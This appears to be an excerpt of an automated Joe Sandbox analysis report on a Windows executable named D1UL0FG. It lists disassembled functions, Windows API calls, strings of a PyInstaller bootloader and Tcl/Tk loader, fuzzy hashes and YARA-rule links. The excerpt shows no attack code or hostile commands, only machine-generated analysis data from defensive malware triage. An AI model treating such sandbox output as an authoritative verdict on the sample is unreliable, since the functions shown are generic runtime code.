Part of subcall function 00007FF67AEF5668: _invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEF567C

_get_daylight.LIBCMT ref: 00007FF67AEF5F2B

Part of subcall function 00007FF67AEF5608: _invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEF561C

_get_daylight.LIBCMT ref: 00007FF67AEF5F3C

Part of subcall function 00007FF67AEF5638: _invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEF564C

Part of subcall function 00007FF67AEEA9B8: RtlFreeHeap.NTDLL(?,?,?,00007FF67AEF2D92,?,?,?,00007FF67AEF2DCF,?,?,00000000,00007FF67AEF3295,?,?,?,00007FF67AEF31C7), ref: 00007FF67AEEA9CE
Part of subcall function 00007FF67AEEA9B8: GetLastError.KERNEL32(?,?,?,00007FF67AEF2D92,?,?,?,00007FF67AEF2DCF,?,?,00000000,00007FF67AEF3295,?,?,?,00007FF67AEF31C7), ref: 00007FF67AEEA9D8

GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF67AEF617C), ref: 00007FF67AEF5F63

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 3458911817-0
Opcode ID: 8084827ab6892e9bf44fc7ae7df730cc4e836e683a41a1d7f4ca7a201d78ec16
Instruction ID: d61ec9e0fa794d2f44115e73846f00e2dfcd64ce800a22537beb987f8174e5fb
Opcode Fuzzy Hash: 8084827ab6892e9bf44fc7ae7df730cc4e836e683a41a1d7f4ca7a201d78ec16
Instruction Fuzzy Hash: C251C873A2868286E7A0FF21E8915B96760FB58784F4151BDDA4DC77B6DF3CE4009B40

Function 00007FF67AEF34F0 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF67AEF34F4

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 39e33fd4700d97162abc6aa121af668d241eeaeaed41ff08026f27548e358ff0
Instruction ID: 2803a5e62b705b468aee84ba10852317c11c63147df96a384df514d7d84b495e
Opcode Fuzzy Hash: 39e33fd4700d97162abc6aa121af668d241eeaeaed41ff08026f27548e358ff0
Instruction Fuzzy Hash: FDB09221E27A82C6FA883B25AC8222822A4BF98700F9802B8C05C81330DE2C20E56B00

Function 00007FF67AEDD37C Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6acc2ec838af36dd9636ef9e1d94249ffac8b7a33868b0b47a68aa66541c0b8
Instruction ID: 2e9bd32bcebee79c6041211e9b3ea31103731ee4225d4238ef679b378a1be806
Opcode Fuzzy Hash: e6acc2ec838af36dd9636ef9e1d94249ffac8b7a33868b0b47a68aa66541c0b8
Instruction Fuzzy Hash: 06A0022796EC0AD4F684AB04F8D00352335FB90300B5000B5E04DC10B09F3CA400F700

Function 00007FF67AED76B0 Relevance: 177.1, APIs: 66, Strings: 35, Instructions: 314libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF67AED76C7
GetLastError.KERNEL32 ref: 00007FF67AED76D9
GetProcAddress.KERNEL32 ref: 00007FF67AED7715
GetLastError.KERNEL32 ref: 00007FF67AED7727
GetProcAddress.KERNEL32 ref: 00007FF67AED7740
GetLastError.KERNEL32 ref: 00007FF67AED7752
GetProcAddress.KERNEL32 ref: 00007FF67AED776B
GetLastError.KERNEL32 ref: 00007FF67AED777D
GetProcAddress.KERNEL32 ref: 00007FF67AED7799
GetLastError.KERNEL32 ref: 00007FF67AED77AB
GetProcAddress.KERNEL32 ref: 00007FF67AED77C7
GetLastError.KERNEL32 ref: 00007FF67AED77D9
GetProcAddress.KERNEL32 ref: 00007FF67AED77F5
GetLastError.KERNEL32 ref: 00007FF67AED7807
GetProcAddress.KERNEL32 ref: 00007FF67AED7823
GetLastError.KERNEL32 ref: 00007FF67AED7835
GetProcAddress.KERNEL32 ref: 00007FF67AED7851
GetLastError.KERNEL32 ref: 00007FF67AED7863

Strings

Tcl_MutexFinalize, xrefs: 00007FF67AED78FF, 00007FF67AED7921
Tcl_Alloc, xrefs: 00007FF67AED7C0D, 00007FF67AED7C2F
Tcl_CreateInterp, xrefs: 00007FF67AED770B, 00007FF67AED772D
Tcl_FinalizeThread, xrefs: 00007FF67AED77BD, 00007FF67AED77DF
Tcl_FindExecutable, xrefs: 00007FF67AED7736, 00007FF67AED7758
Tcl_ConditionWait, xrefs: 00007FF67AED7989, 00007FF67AED79AB
Tcl_Init, xrefs: 00007FF67AED76C0, 00007FF67AED76DF
Tcl_ConditionNotify, xrefs: 00007FF67AED795B, 00007FF67AED797D
Tcl_NewByteArrayObj, xrefs: 00007FF67AED7AF9, 00007FF67AED7B1B
Tcl_ConditionFinalize, xrefs: 00007FF67AED792D, 00007FF67AED794F
Tcl_MutexLock, xrefs: 00007FF67AED78A3, 00007FF67AED78C5
Tcl_ThreadAlert, xrefs: 00007FF67AED79E5, 00007FF67AED7A07
Tcl_JoinThread, xrefs: 00007FF67AED7875, 00007FF67AED7897
Tcl_EvalEx, xrefs: 00007FF67AED7BB1, 00007FF67AED7BD3
Tcl_NewStringObj, xrefs: 00007FF67AED7ACB, 00007FF67AED7AED
GetProcAddress, xrefs: 00007FF67AED76EF
Tk_GetNumMainWindows, xrefs: 00007FF67AED7C97, 00007FF67AED7CB9
Tcl_GetString, xrefs: 00007FF67AED7A9D, 00007FF67AED7ABF
Tcl_ThreadQueueEvent, xrefs: 00007FF67AED79B7, 00007FF67AED79D9
Tcl_GetObjResult, xrefs: 00007FF67AED7B55, 00007FF67AED7B77
Tcl_CreateObjCommand, xrefs: 00007FF67AED7A6F, 00007FF67AED7A91
Tcl_SetVar2, xrefs: 00007FF67AED7A41, 00007FF67AED7A63
Tcl_DoOneEvent, xrefs: 00007FF67AED7761, 00007FF67AED7783
Tcl_DeleteInterp, xrefs: 00007FF67AED77EB, 00007FF67AED780D
Tcl_GetCurrentThread, xrefs: 00007FF67AED7847, 00007FF67AED7869
Tcl_Free, xrefs: 00007FF67AED7C3B, 00007FF67AED7C5D
Tcl_GetVar2, xrefs: 00007FF67AED7A13, 00007FF67AED7A35
Failed to get address for %hs, xrefs: 00007FF67AED76E8
Tk_Init, xrefs: 00007FF67AED7C69, 00007FF67AED7C8B
Tcl_MutexUnlock, xrefs: 00007FF67AED78D1, 00007FF67AED78F3
Tcl_CreateThread, xrefs: 00007FF67AED7819, 00007FF67AED783B
Tcl_Finalize, xrefs: 00007FF67AED778F, 00007FF67AED77B1
Tcl_EvalFile, xrefs: 00007FF67AED7B83, 00007FF67AED7BA5
Tcl_EvalObjv, xrefs: 00007FF67AED7BDF, 00007FF67AED7C01
Tcl_SetVar2Ex, xrefs: 00007FF67AED7B27, 00007FF67AED7B49

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_JoinThread$Tcl_MutexFinalize$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 199729137-3427451314
Opcode ID: 0a662de07e299f73dada83b080b335429a490c7fb48c0bc5bb894b33d2b2cc2e
Instruction ID: 290cf50cdac859011090c93e8e66773414d5a2c089083a1b491222655bb0ea97
Opcode Fuzzy Hash: 0a662de07e299f73dada83b080b335429a490c7fb48c0bc5bb894b33d2b2cc2e
Instruction Fuzzy Hash: A602D526E3EB07C5FA84BF54B8605B82361EF48759F5040B9D86E82270EF3CB549FA50

Function 00007FF67AED81C0 Relevance: 24.6, APIs: 6, Strings: 8, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF67AED9400: MultiByteToWideChar.KERNEL32(?,?,?,00007FF67AED45E4,00000000,00007FF67AED1985), ref: 00007FF67AED9439

ExpandEnvironmentStringsW.KERNEL32(?,00007FF67AED88A7,?,?,00000000,00007FF67AED3CBB), ref: 00007FF67AED821C

Part of subcall function 00007FF67AED2810: MessageBoxW.USER32 ref: 00007FF67AED28EA

Strings

LOADER: failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF67AED81F3
CreateDirectory, xrefs: 00007FF67AED836C
LOADER: failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF67AED82C9
\, xrefs: 00007FF67AED8251
LOADER: failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF67AED8230
%.*s, xrefs: 00007FF67AED82FC
LOADER: failed to create runtime-tmpdir path %ls!, xrefs: 00007FF67AED8363
LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!, xrefs: 00007FF67AED828D

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
String ID: %.*s$CreateDirectory$LOADER: failed to convert runtime-tmpdir to a wide string.$LOADER: failed to create runtime-tmpdir path %ls!$LOADER: failed to expand environment variables in the runtime-tmpdir.$LOADER: failed to obtain the absolute path of the runtime-tmpdir.$LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!$\
API String ID: 1662231829-930877121
Opcode ID: e491f33a4545c5dc9e33b4da933e1c9d98f9a36929a11ac7b8a73595df86892f
Instruction ID: d0e97c873fbb4cc8c1bab014d2b7e853b1dfa67cc1ac6b105376c7bf38949823
Opcode Fuzzy Hash: e491f33a4545c5dc9e33b4da933e1c9d98f9a36929a11ac7b8a73595df86892f
Instruction Fuzzy Hash: C451D723A3D68285FB50BB24E8516BA6360EFD4784F544075E50EC66F5EE2CE505F740

Function 00007FF67AED2180 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF67AED21AB
SelectObject.GDI32 ref: 00007FF67AED21F2
DrawTextW.USER32 ref: 00007FF67AED2215
SelectObject.GDI32 ref: 00007FF67AED222B
ReleaseDC.USER32 ref: 00007FF67AED223B
MoveWindow.USER32 ref: 00007FF67AED228B
MoveWindow.USER32 ref: 00007FF67AED22CB
MoveWindow.USER32 ref: 00007FF67AED231E
MoveWindow.USER32 ref: 00007FF67AED2366

Strings

P%, xrefs: 00007FF67AED21FF

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: MoveWindow$ObjectSelect$DrawReleaseText
String ID: P%
API String ID: 2147705588-2959514604
Opcode ID: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction ID: a011452b26be41af9b5d829c9c31bdf55d01aef9534cbb0a8b0f9f6a792587c8
Opcode Fuzzy Hash: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction Fuzzy Hash: 5751C637614BA186D6249F26F4181BAB7A1F798B61F004125EBDE83694EF3CD085DB10

Function 00007FF67AED80B0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetWindowLongPtrW.USER32 ref: 00007FF67AED80EF
GetWindowLongPtrW.USER32 ref: 00007FF67AED816F
ShutdownBlockReasonCreate.USER32 ref: 00007FF67AED8182
GetLastError.KERNEL32 ref: 00007FF67AED818C
SetWindowLongPtrW.USER32 ref: 00007FF67AED81A3

Strings

Needs to remove its temporary files., xrefs: 00007FF67AED8175

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: LongWindow$BlockCreateErrorLastReasonShutdown
String ID: Needs to remove its temporary files.
API String ID: 3975851968-2863640275
Opcode ID: 1b4b32be61da5f45784fe9fe2f7d724fb74bbaf2a32eb33803c40e4204126e7e
Instruction ID: a65f9136d1a16c7140162ca9e377ad537fb37e2896b002774264db9813120844
Opcode Fuzzy Hash: 1b4b32be61da5f45784fe9fe2f7d724fb74bbaf2a32eb33803c40e4204126e7e
Instruction Fuzzy Hash: 4C21D323B28A42C6EB816B7AB8541796350EF88B91F5842B4DE6DC33F4EE2CD584D700

Function 00007FF67AEE6300 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 494COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEE6343
_invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEE6730
_invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEE69CC

Strings

f, xrefs: 00007FF67AEE6465
:, xrefs: 00007FF67AEE64FC
p, xrefs: 00007FF67AEE63F5
-, xrefs: 00007FF67AEE63D9
p, xrefs: 00007FF67AEE646D

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$:$f$p$p
API String ID: 3215553584-2013873522
Opcode ID: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction ID: dd4dde16f49b3cd1f81474439cfa99d0b263006a46247afb9f0efd89d0bf18e9
Opcode Fuzzy Hash: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction Fuzzy Hash: 3312B373F2C14386FB207B14E1542B97792FB40750F844575E68A876E8DF3DE990AB02

Function 00007FF67AEE1038 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEE1078
_invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEE1440
_invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEE16DF

Strings

f, xrefs: 00007FF67AEE12C5
f, xrefs: 00007FF67AEE117A
p, xrefs: 00007FF67AEE1182
p, xrefs: 00007FF67AEE111D
f, xrefs: 00007FF67AEE1110

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction ID: 9084b6d6669bec35a4d674902e9ef59caaa80b8d4c7509b288e5594446f99566
Opcode Fuzzy Hash: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction Fuzzy Hash: 70128163E2C14386FB20BA55E4546BD73A1FBA0754F8840B5E699C7AE4DF7CE4C0AB40

Function 00007FF67AED1050 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 119COMMON

Download Yara Rule

Strings

malloc, xrefs: 00007FF67AED110F
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF67AED1108
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF67AED10CC
fseek, xrefs: 00007FF67AED10D3
fread, xrefs: 00007FF67AED11FD
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF67AED11F6
Failed to extract %s: failed to open archive file!, xrefs: 00007FF67AED1098

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: 0c31251e6cc82c47abebe2306b4fb6df75d7e9a8de90183b667ac336f21b0774
Instruction ID: 68600170bdbe9025efe8ff0432ae1c7f95dc6771ec476c916f553586997551d6
Opcode Fuzzy Hash: 0c31251e6cc82c47abebe2306b4fb6df75d7e9a8de90183b667ac336f21b0774
Instruction Fuzzy Hash: 6741A163B2C65286FA10FB22A8006B96395FF84BC4F6444B5ED4D877A6DE3CE505E740

Function 00007FF67AED1470 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 107COMMON

Download Yara Rule

Strings

malloc, xrefs: 00007FF67AED151F
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF67AED1518
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF67AED14DE
fseek, xrefs: 00007FF67AED14E5
fread, xrefs: 00007FF67AED15E6
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF67AED15DF
Failed to extract %s: failed to open archive file!, xrefs: 00007FF67AED149F

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: 5a016122ccacf22d2f40e2f4ad7ae1084c068073363954eaa92016f2cfc1e0a1
Instruction ID: 66be77be411398093f21bb916bc5d6cc1e10f5c733e724d9ff00923978f0fc58
Opcode Fuzzy Hash: 5a016122ccacf22d2f40e2f4ad7ae1084c068073363954eaa92016f2cfc1e0a1
Instruction Fuzzy Hash: 38416F23B2868289FB10FB31A5405B96390FF84794F5449B6ED4D87BB5DE3CE541EB00

Function 00007FF67AEDEA78 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF67AEDEAD5

Part of subcall function 00007FF67AEDFA2C: __GetUnwindTryBlock.LIBCMT ref: 00007FF67AEDFA6F
Part of subcall function 00007FF67AEDFA2C: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF67AEDFA94

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF67AEDEBAD
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF67AEDEDFB
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF67AEDEF08

Strings

csm, xrefs: 00007FF67AEDEB56
csm, xrefs: 00007FF67AEDEBD0
csm, xrefs: 00007FF67AEDEAEF

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: b3973e9ed2b821368333a922871466498bda8290f9160b5e7eff6497ccad0325
Instruction ID: decb345baaab07e76e92f07ece6ea74d53ec13f30e9aaf093586f3ea5cb877ab
Opcode Fuzzy Hash: b3973e9ed2b821368333a922871466498bda8290f9160b5e7eff6497ccad0325
Instruction Fuzzy Hash: 36D16D33A28741CAEB24EB25D4453AD37A0FB85798F200175EE8D97BA9DF38E581D700

Function 00007FF67AED2C50 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 104windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF67AED3706,?,00007FF67AED3804), ref: 00007FF67AED2C9E
FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF67AED3706,?,00007FF67AED3804), ref: 00007FF67AED2D63
MessageBoxW.USER32 ref: 00007FF67AED2D99

Strings

Error, xrefs: 00007FF67AED2D8C
%ls: , xrefs: 00007FF67AED2D22
<FormatMessageW failed.>, xrefs: 00007FF67AED2D70
[PYI-%d:ERROR] , xrefs: 00007FF67AED2CA6

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: Message$CurrentFormatProcess
